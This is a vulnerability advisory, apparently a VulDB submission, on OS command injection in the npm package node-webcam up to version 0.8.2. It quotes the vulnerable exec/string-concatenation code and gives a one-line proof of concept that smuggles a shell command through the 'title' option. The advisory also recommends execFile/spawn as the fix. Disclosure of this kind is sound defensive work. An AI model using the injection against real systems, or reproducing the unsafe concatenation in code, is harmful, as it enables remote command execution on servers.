| 제목 | chuckfairy node-webcam >= 0.1.0 <= 0.8.2 OS Command Injection |
|---|
| 설명 | Package: node-webcam (npmjs)
Weakness: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CVSS 3.1: 9.8 Critical AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (without authentication) or 8.8 if behind authentication gate
Package URL: https://www.npmjs.com/package/node-webcam
GitHub URL: https://github.com/chuckfairy/node-webcam
node-webcam (versions >= 0.1.0 and <= 0.8.2 - all versions -) is a library that is used to capture still photos from a physical camera. On Linux systems it does so via fswebcam. The server calls NodeWebcam.capture(filename, opts, callback) and it writes a JPEG/PNG from the attached camera, with options for resolution, frame count, delay, and title/subtitle/timestamp overlay text.
On Linux deployments fswebcam command is built using string-concatenation of attacker-controlled values and then executed using child_process.exec() which corresponds to /bin/sh -c. As none of these values are quoted or escaped, this allows shell meta-characters to be injected resulting in OS command injection.
Consider the following vulnerable code in src/Webcam.js
13 var CHILD_PROCESS = require('child_process');
15 var EXEC = CHILD_PROCESS.exec; // exec = /bin/sh -c "<string>"
...
233 var sh = scope.generateSh( location );
...
248 EXEC( sh, shArgs, function( err, out, derr ) { ... }); // sink: runs the concatenated string
The following code is used to build the raw concatenation in src/webcams/FSWebcam.js
71 FSWebcam.prototype.generateSh = function( location ) {
...
79 var frames = scope.opts.frames ? "-F " + scope.opts.frames : ""; // raw opt
85 var quality = scope.opts.quality; // raw opt (always)
87 var delay = scope.opts.delay ? "-D " + scope.opts.delay : ""; // raw opt
91 var title = scope.opts.title ? "--title " + scope.opts.title : ""; // raw opt
95 var subtitle = scope.opts.subtitle ? "--subtitle " + scope.opts.subtitle : ""; // raw opt
99 var timestamp= scope.opts.timestamp? "--timestamp " + scope.opts.timestamp : ""; // raw opt
103 var device = scope.opts.device ? "-d " + scope.opts.device : ""; // raw opt
111 var rotation = scope.opts.rotation ? "--rotate " + scope.opts.rotation : ""; // raw opt
121 var skip = scope.opts.skip ? "--skip " + scope.opts.skip : ""; // raw opt
...
138 var shellLocation = (location === null) ? "- -" : location; // raw location
142 var sh = scope.bin + " " + verbose + " " + resolution + " " + frames + " "
+ output + " " + quality + " " + delay + " " + title + " " + subtitle + " "
+ timestamp + " " + device + " " + grey + " " + rotation + " " + banner + " "
+ setValues + " " + skip + " " + shellLocation; // concatenated
160 return sh;
Every one of the above values is reachable from untrusted input as seen in index.js
66 NodeWebcam.capture = function( location, options, callback ) {
68 var webcam = NodeWebcam.create( options ); // options ---> scope.opts
70 webcam.capture( location, callback );
};
We can inject a command into any of these fields, and then comment out the rest by using a # as to avoid cleanup
Confirmation PoC
$ node -e 'require("node-webcam").capture("out.jpg",{output:"jpeg",title:"$(whoami>/tmp/nw_rce) #"},()=>{})';
$ cat /tmp/nw_rce
www-data
Remediation:
- Run execFile/spawn with an argument array without a shell as is the industry standard safe method
References:
- https://cwe.mitre.org/data/definitions/78.html
- https://github.com/chuckfairy/node-webcam/blob/master/src/Webcam.js
- https://github.com/chuckfairy/node-webcam/blob/master/src/webcams/FSWebcam.js
|
|---|
| 원천 | ⚠️ https://github.com/chuckfairy/node-webcam/issues/74 |
|---|
| 사용자 | ma1ware (UID 102050) |
|---|
| 제출 | 2026. 10. 28. PM 08:17 (29 날 ago) |
|---|
| 모더레이션 | 2026. 11. 26. AM 09:54 (29 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 444239 [chuckfairy node-webcam 까지 0.8.2 FSWebcam src/webcams/FSWebcam.js generateSh 권한 상승] |
|---|
| 포인트들 | 20 |
|---|